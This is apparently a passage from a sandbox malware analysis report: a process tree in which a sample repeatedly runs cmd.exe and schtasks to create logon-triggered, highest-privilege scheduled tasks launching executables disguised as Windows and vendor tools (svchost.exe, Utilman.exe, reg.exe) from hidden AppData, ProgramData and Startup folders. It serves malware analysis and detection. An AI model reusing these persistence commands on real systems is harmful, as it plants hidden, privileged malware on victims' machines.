  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_8" /tr ""C:\ProgramData\ssh\Logs\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_8" /tr ""C:\ProgramData\ssh\Logs\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10016
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_11" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_12" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_13" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_13" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10788
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_15" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_16" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_16" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_20" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10168
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1224
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchFilterHost_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SearchFilterHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchFilterHost_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SearchFilterHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchProtocolHost_23" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchProtocolHost_23" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.WARP.JITService_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\Windows.WARP.JITService.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.WARP.JITService_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\Windows.WARP.JITService.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_26" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_choice_28" /tr ""C:\ProgramData\MicrosoftService\choice.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10284
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_30" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_30" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_31" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_32" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_32" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11752
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_6" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tracerpt_8" /tr ""C:\ProgramData\MicrosoftService\tracerpt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_10" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_11" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_13" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_13" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:11840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_16" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11880
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_17" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchProtocolHost_18" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msinfo32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\msinfo32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:15180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15916
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_25" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_25" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_26" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_26" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10048
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchProtocolHost_28" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchProtocolHost_28" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_31" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_31" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_32" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_32" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15732
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14344
- C:\Windows\SysWOW64\cmd.exe
